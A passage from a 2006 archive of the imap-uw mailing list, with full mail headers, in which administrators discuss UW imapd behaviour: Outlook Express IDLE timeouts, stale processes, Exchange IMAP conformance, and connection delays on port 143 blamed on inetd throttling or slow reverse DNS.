Express does not terminate IDLE mode at 29 minutes, even though the specification (which Microsoft helped write!) requires that it do so. The result is that the server autologouts at 30 minutes. The client sees this, but doesn't make that fact clear to the user (it's a tiny little icon), and then the user complains that they aren't getting told about new mail any more. This issue is also resolved by recent versions of UW imapd, which fake a "new" message near the end of the permitted IDLE period. Outlook Express wakes up to get the new message, UW imapd immediately says that the fake "new message" was "expunged", so OE puts the session back in IDLE mode with a fresh 30 minute autologout timeout. > In the current solaris 9 environment, the mail spool and home directories > are local. > I've seen 100's of these stale processes, typically to home DSL or cable > boxes. > Is there a reason imapd does not die, on a non-graceful disconnect? I can't tell you much about how Solaris behaves. imapd certainly tries to commit suicide after 30 minutes of inactivity. I suspect that those stale processes are in the process of committing suicide, but the announcement of that fact is blocked in TCP output wait. The question is why TCP never times out that output. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jan 4 01:45:53 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 4 Jan 2006 01:45:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k049jraj022839 for ; Wed, 4 Jan 2006 01:45:53 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k049jqBN018140 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 4 Jan 2006 01:45:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k049jlrM014027 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 4 Jan 2006 01:45:47 -0800 Message-Id: <200601040945.k049jlrM014027@mxout3.cac.washington.edu> Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k049jlUU016458; Wed, 4 Jan 2006 01:45:47 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k049jklI016450 for ; Wed, 4 Jan 2006 01:45:46 -0800 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.19]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k049jhAP031136 for ; Wed, 4 Jan 2006 01:45:44 -0800 Received: from smtp.qub.ac.uk ([143.117.143.71]) by mailhub2.qub.ac.uk with esmtp (Exim 4.51) id 1Eu5DD-0003o8-4A for imap-uw@u.washington.edu; Wed, 04 Jan 2006 09:45:43 +0000 Received: from a9203.cc.qub.ac.uk ([143.117.9.203] helo=clive) by smtp.qub.ac.uk with esmtp (Exim 4.54) id 1Eu5DD-00054X-0q for imap-uw@u.washington.edu; Wed, 04 Jan 2006 09:45:43 +0000 From: "Clive McDowell" To: Date: Wed, 4 Jan 2006 09:46:19 -0000 Organization: The Queen's University of Belfast MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYHVkOjSxrgGPEySLizje7ZVj10dAJvK0Ww X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Exchange Server 2003 and IMAP X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Folks, it has been decreed that we have to switch our efficient, reliable unix based message store to an Exchange Server. Does anyone have any information on how well the IMAP function of that software conforms to the protocol? I'm concerned that our significant body of non-Outlook users may lose functionality. Thanks, Clive McDowell Information Services The Queen's University of Belfast _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 09:02:21 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 09:02:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09H2Ll0017602 for ; Mon, 9 Jan 2006 09:02:21 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09H2KO5032457 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 09:02:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09H2GnR011199 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 09:02:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09H2GxU015146; Mon, 9 Jan 2006 09:02:16 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09H2EvF015129 for ; Mon, 9 Jan 2006 09:02:14 -0800 Received: from aismail.wustl.edu (aismail.wustl.edu [128.252.95.36]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09H2DHf016225 for ; Mon, 9 Jan 2006 09:02:13 -0800 To: imap-uw@u.washington.edu MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.4 March 27, 2005 Message-ID: From: Ken.Koch@wustl.edu Date: Mon, 9 Jan 2006 11:02:12 -0600 X-MIMETrack: Serialize by Router on AIS3/Systems/ais(Release 6.5.4|March 27, 2005) at 01/09/2006 11:02:13 AM, Serialize complete at 01/09/2006 11:02:13 AM X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Long delays & Connection refused X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0921987609==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multipart message in MIME format. --===============0921987609== Content-Type: multipart/alternative; boundary="=_alternative 005D8802862570F1_=" This is a multipart message in MIME format. --=_alternative 005D8802862570F1_= Content-Type: text/plain; charset="US-ASCII" I have been having a problem for a while now. Recently, it's been narrowing down to either inetd or something related to network queues. I'm posting this message to help rule out uw-imapd. During high load (about 18 imapd logins/second from a webmail system) we start to get long delays when connecting to port 143. Sometimes, even a connection refused when attempted from outside localhost. Delays possibly range from 20 seconds to 2 minutes. When telneting to port 143 from localhost, the delays are evident before the IMAP capabilities logo splashes. After IMAP's banner is shown, everything seems fine. It's before getting the banner that lags. Running a second copy of uw-imapd on port 146 through inetd works fine and shows no delays when the problem is evident on port 143. Once logged into IMAP on port 143, mail activities are fine. It's pre-login that runs extremely slow, sometimes with port 143 refusing the connection. I'm leaning towards inetd or the kernel not keeping up with the socket activity. Any suggestions or things to test to help rule out the imapd binary? It's a gso compile with passwdtype=std Solaris 8 on a v880, version d Before I go into all of the kernel settings and what not, I'd like to see if anyone has any recollection of previously related problems. Thanks! -Ken --=_alternative 005D8802862570F1_= Content-Type: text/html; charset="US-ASCII"
    I have been having a problem for a while now.  Recently, it's been narrowing down to either inetd or something related to network queues.  I'm posting this message to help rule out uw-imapd.  

    During high load (about 18 imapd logins/second from a webmail system) we start to get long delays when connecting to port 143.  Sometimes, even a connection refused when attempted from outside localhost.  Delays possibly range from 20 seconds to 2 minutes.  When telneting to port 143 from localhost, the delays are evident before the IMAP capabilities logo splashes.  After IMAP's banner is shown, everything seems fine.  It's before getting the banner that lags.  Running a second copy of uw-imapd on port 146 through inetd works fine and shows no delays when the problem is evident on port 143.  Once logged into IMAP on port 143, mail activities are fine.  It's pre-login that runs extremely slow, sometimes with port 143 refusing the connection.  I'm leaning towards inetd or the kernel not keeping up with the socket activity.  Any suggestions or things to test to help rule out the imapd binary?

    It's a gso compile with passwdtype=std

    Solaris 8 on a v880, version d

    Before I go into all of the kernel settings and what not, I'd like to see if anyone has any recollection of previously related problems.  Thanks!

    -Ken
    --=_alternative 005D8802862570F1_=-- --===============0921987609== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============0921987609==-- From pinedev@shivax2.cac.washington.edu Mon Jan 9 09:17:50 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 09:17:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHoUK018560 for ; Mon, 9 Jan 2006 09:17:50 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHno7005331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 09:17:49 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHjYQ011797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 09:17:45 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHj6O018930; Mon, 9 Jan 2006 09:17:45 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHi6i018922 for ; Mon, 9 Jan 2006 09:17:44 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHiMS027168 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 9 Jan 2006 09:17:44 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHhCh004146 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 09:17:43 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09HHeUM004947 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 9 Jan 2006 09:17:42 -0800 Date: Mon, 9 Jan 2006 09:17:39 -0800 (PST) From: Mark Crispin To: Ken.Koch@wustl.edu Subject: Re: [Imap-uw] Long delays & Connection refused In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 9 Jan 2006, Ken.Koch@wustl.edu wrote: > During high load (about 18 imapd logins/second from a webmail system) we > start to get long delays when connecting to port 143. Sometimes, even a > connection refused when attempted from outside localhost. This sounds like your [x]inetd is throttling the service port. Refer to the following FAQ: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.16 for more information. Defective webmail implementations are known to do this. The typical problem is that they spawn a new IMAP session for each user's mouse click instead of keeping a single IMAP session open per user. That bad behavior defeats much of what is useful in IMAP. However, making a mail access session be stateful instead of stateless requires some complex programming, and only a few webmail programs (such as UW's WebPine) do it. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 10:23:16 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 10:23:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09INGej023214 for ; Mon, 9 Jan 2006 10:23:16 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09INFhB006441 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 10:23:15 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09IN96m023650 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 10:23:09 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09IN9pc006263; Mon, 9 Jan 2006 10:23:09 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09IN8U3006255 for ; Mon, 9 Jan 2006 10:23:08 -0800 Received: from postoffi.mote.org (postoffi.mote.org [12.174.210.9]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09IN5lp013131 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 9 Jan 2006 10:23:06 -0800 Received: from mano.mote.org ([12.174.210.200]) by postoffi.mote.org with esmtps (TLSv1:AES256-SHA:256) (Exim 4.54) id 1Ew1fX-0007mE-Lw for imap-uw@u.washington.edu; Mon, 09 Jan 2006 13:23:01 -0500 Date: Mon, 9 Jan 2006 13:22:51 -0500 From: Don Hayward To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Long delays & Connection refused In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Mark, On Mon, 9 Jan 2006, Mark Crispin wrote: > instead of stateless requires some complex programming, and only a few > webmail programs (such as UW's WebPine) do it. Is UW's WebPine available? Thanks. Don Don Hayward ISDIV don@mote.org Mote Marine Laboratory Office: 941.388.4441x403 Cell: 941.350.8503 1600 Ken Thompson Parkway Fax: 941.388.4312 Sarasota, FL 34236 See: http://www.mote.org Independent, non-profit, marine and estuarine research and education facility. use "DISCLAIMER"; # We run Debian Linux Ordinary men and women have a right to peace, material comfort, self-respect, and a touch of joy in living. Eric F. Goldman, [1915-1989] _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 11:01:11 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 11:01:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J1A8k025972 for ; Mon, 9 Jan 2006 11:01:10 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J19ab013395 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:01:10 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J14c1022816 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 11:01:05 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J14Xx018286; Mon, 9 Jan 2006 11:01:04 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J13Ov018278 for ; Mon, 9 Jan 2006 11:01:03 -0800 Received: from aismail.wustl.edu (aismail.wustl.edu [128.252.95.36]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09IxuJt016532 for ; Mon, 9 Jan 2006 11:01:02 -0800 In-Reply-To: To: Mark Crispin Subject: Re: [Imap-uw] Long delays & Connection refused MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.4 March 27, 2005 Message-ID: From: Ken.Koch@wustl.edu Date: Mon, 9 Jan 2006 12:59:56 -0600 X-MIMETrack: Serialize by Router on AIS3/Systems/ais(Release 6.5.4|March 27, 2005) at 01/09/2006 01:01:02 PM, Serialize complete at 01/09/2006 01:01:02 PM X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __C230066_P5 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_HTML 0, __MIME_VERSION 0, __RATWARE_SIGNATURE_3_N1 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1225841353==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multipart message in MIME format. --===============1225841353== Content-Type: multipart/alternative; boundary="=_alternative 00684F2A862570F1_=" This is a multipart message in MIME format. --=_alternative 00684F2A862570F1_= Content-Type: text/plain; charset="US-ASCII" Agreed. However, I haven't seen any messages in the syslog that explain our behavior. This was one of my initial thoughts but since I didn't see any warnings or error messages, I dismissed it. I thought the behavior of a flooded inetd was more like an on/off switch rather than congestion? ============================= Ken Koch Information Systems 314.935.8315 ============================= Mark Crispin Sent by: mrc@pangtzu.panda.com 01/09/2006 11:17 AM To Ken.Koch@wustl.edu cc imap-uw@u.washington.edu Subject Re: [Imap-uw] Long delays & Connection refused On Mon, 9 Jan 2006, Ken.Koch@wustl.edu wrote: > During high load (about 18 imapd logins/second from a webmail system) we > start to get long delays when connecting to port 143. Sometimes, even a > connection refused when attempted from outside localhost. This sounds like your [x]inetd is throttling the service port. Refer to the following FAQ: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.16 for more information. Defective webmail implementations are known to do this. The typical problem is that they spawn a new IMAP session for each user's mouse click instead of keeping a single IMAP session open per user. That bad behavior defeats much of what is useful in IMAP. However, making a mail access session be stateful instead of stateless requires some complex programming, and only a few webmail programs (such as UW's WebPine) do it. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. --=_alternative 00684F2A862570F1_= Content-Type: text/html; charset="US-ASCII"
    Agreed.  However, I haven't seen any messages in the syslog that explain our behavior.  This was one of my initial thoughts but since I didn't see any warnings or error messages, I dismissed it.  I thought the behavior of a flooded inetd was more like an on/off switch rather than congestion?  

    =============================
    Ken Koch
    Information Systems
    314.935.8315
    =============================


    Mark Crispin <mrc@CAC.Washington.EDU>
    Sent by: mrc@pangtzu.panda.com

    01/09/2006 11:17 AM

    To
    		Ken.Koch@wustl.edu
    cc
    		imap-uw@u.washington.edu
    Subject
    		Re: [Imap-uw] Long delays & Connection refused





    On Mon, 9 Jan 2006, Ken.Koch@wustl.edu wrote:
    > During high load (about 18 imapd logins/second from a webmail system) we
    > start to get long delays when connecting to port 143.  Sometimes, even a
    > connection refused when attempted from outside localhost.

    This sounds like your [x]inetd is throttling the service port.  Refer to
    the following FAQ:
                     http://www.washington.edu/imap/IMAP-FAQs/index.html#7.16
    for more information.

    Defective webmail implementations are known to do this.  The typical
    problem is that they spawn a new IMAP session for each user's mouse click
    instead of keeping a single IMAP session open per user.  That bad behavior
    defeats much of what is useful in IMAP.  However, making a mail access
    session be stateful instead of stateless requires some complex
    programming, and only a few webmail programs (such as UW's WebPine) do it.

    -- Mark --

    http://panda.com/mrc
    Democracy is two wolves and a sheep deciding what to eat for lunch.
    Liberty is a well-armed sheep contesting the vote.
    --=_alternative 00684F2A862570F1_=-- --===============1225841353== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1225841353==-- From pinedev@shivax2.cac.washington.edu Mon Jan 9 11:07:34 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 11:07:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7YTQ026336 for ; Mon, 9 Jan 2006 11:07:34 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7Xbc013898 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:07:33 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7TK3030617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 11:07:29 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7Tjh020183; Mon, 9 Jan 2006 11:07:29 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7SfA020175 for ; Mon, 9 Jan 2006 11:07:28 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7S5K006052 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 9 Jan 2006 11:07:28 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J7RZ1025190 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:07:28 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (104.sub-70-203-118.myvzw.com [70.203.118.104]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09J6nWL024527 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 9 Jan 2006 11:07:25 -0800 Date: Mon, 9 Jan 2006 11:06:46 -0800 From: Mark Crispin To: Ken.Koch@wustl.edu Subject: Re: [Imap-uw] Long delays & Connection refused In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 9 Jan 2006, Ken.Koch@wustl.edu wrote: > Agreed. However, I haven't seen any messages in the syslog that explain > our behavior. This was one of my initial thoughts but since I didn't see > any warnings or error messages, I dismissed it. I thought the behavior of > a flooded inetd was more like an on/off switch rather than congestion? I don't know. Perhaps your syslog level is set so those messages don't show up? Or maybe this is something else in your [x]inetd. Port 143 listening problems are [x]inetd problems rather than imapd problems; but beyond that I can't be authoritative about what may be wrong. However, there is one imapd issue that you need to look into; at startup, it will do a DNS query to get the local server host name, and one to get the client host name. If your DNS does not reliably do reverse lookups for your webmail client expediently, that could cause similar symptoms to what you report. Good luck, and let us know what you find! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 11:15:02 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 11:15:02 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JF22L026880 for ; Mon, 9 Jan 2006 11:15:02 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JF0S2010850 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:15:00 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JEuxj013931 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 11:14:56 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JEumW022646; Mon, 9 Jan 2006 11:14:56 -0800 